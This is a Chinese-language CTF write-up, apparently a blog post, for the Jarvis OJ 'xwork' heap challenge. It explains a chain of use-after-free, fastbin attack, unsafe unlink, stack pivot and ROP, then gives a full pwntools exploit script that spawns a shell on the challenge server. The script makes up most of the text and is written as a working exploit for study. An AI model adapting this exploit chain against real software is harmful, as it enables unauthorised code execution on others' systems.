jarvis oj pwn xwork writeup

原创

charlie_heng 于 2018-02-21 21:56:58 发布 481 收藏

分类专栏： pwn

这题没libc，因此利用起来比较麻烦，而且它还去掉了那些one_gadget

首先漏洞很明显，可以use after free，所以可以进行fastbin attack，但是fastbin attack会检查size，所以只能控制某些地方的内存，但是之后怎么用呢？ 想了半天，想出一个比较长的利用链，如果有其他比较简便的方法，欢迎交流！

利用链如下：
fastbin attack -> unsafe unlink -> stack pivot -> rop

首先利用fastbin attack，可以控制某些堆的size和prev size，因此可以进行unsafe unlink
将存order那里的指向自身地址-0x18，这样就可以实现任意内存读写

下一步就是找到栈的地址，然后rop一波

但是因为每次只能写31个字节，长的rop链是写不出了，所以stack pivot一波，然后将那些寄存器设成特定的值，直接rop调用syscall，get shell

payload如下

```
from pwn import *

#p=process('./xwork')
p=remote('pwn2.jarvisoj.com', 9897)
context.log_level='debug'
#gdb.attach(proc.pidof(p)[0])

def ru(x):
    p.recvuntil(x)

def se(x):
    p.sendline(x)

def add_order(data):
    se('1')
    sleep(0.1)
    p.send(data)
    ru('Exit')

def delete_order(idx):
    se('4')
    ru('index')
```

```
    se(str(idx))
    ru('Exit')

def edit_order(idx,order,wait=True):
    se('3')
    ru('index')
    se(str(idx))
    sleep(0.1)
    p.send(order)
    if wait:
        ru('Exit')

def show_order(idx):
    se('2')
    ru('index:')
    se(str(idx))
    sleep(0.1)
    data=p.recv(31)
    ru('Exit')
    return data

def leak(addr):
    edit_order(0,p64(addr))
    data=show_order(1)
    return data

ru('your name:')
p.send('1'*(31-8)+p64(0x31))
ru('Exit')


#--------------------fastbin attack----------------------
add_order(p64(0)+p64(0x51)+p64(0x6CCD60-0x8*3)+p64(0x6CCD60-0x8*2)[:-1])
add_order('1'*25)
add_order('t3')
add_order('t4')
add_order('t5')
delete_order(1)
delete_order(2)
data=show_order(2)#get heap address
print(len(data))
h1=u32(data[:4])


#--------------------unsafe unlink----------------------
edit_order(2,p64(h1+0x20))
add_order('a')
add_order(p64(0x50)+p64(0x90))
delete_order(2)

edit_order(0,p64(0)+p64(0x6cbb80)+p64(0)+p64(0x6CCD60)[:-1])
edit_order(0,p64(0x6CCD68))
print(hex(h1))

stack=u64(leak(0x6cc638)[8:16])-0x170

stack_p=0x6CCD98
string=0x6CCC60

prdi=0x4018a6
```

```
prsi=0x4019c7
pradx=0x4789a6
prbp=0x4004d1
leave=0x400C70
syscall=0x47CD3D


#--------------------stack pivot--------------------
pivot=p64(prbp)+p64(stack_p-0x8)+p64(leave)


#--------------------- rop ---------------------------
payload1=p64(prdi)+p64(string+0x8)+p64(prsi)
payload2=p64(0)+p64(pradx)+p64(0x3b)
payload3=p64(0x0)+'/bin//sh'+p64(syscall)

buf=p64(string+0x8)+'/bin//sh'

edit_order(0,p64(string))
edit_order(1,buf)

edit_order(0,p64(stack_p))
edit_order(1,payload1)

edit_order(0,p64(stack_p+0x18))
edit_order(1,payload2)

edit_order(0,p64(stack_p+0x30))
edit_order(1,payload3)

edit_order(0,p64(stack))
edit_order(1,pivot,False)

p.interactive()
```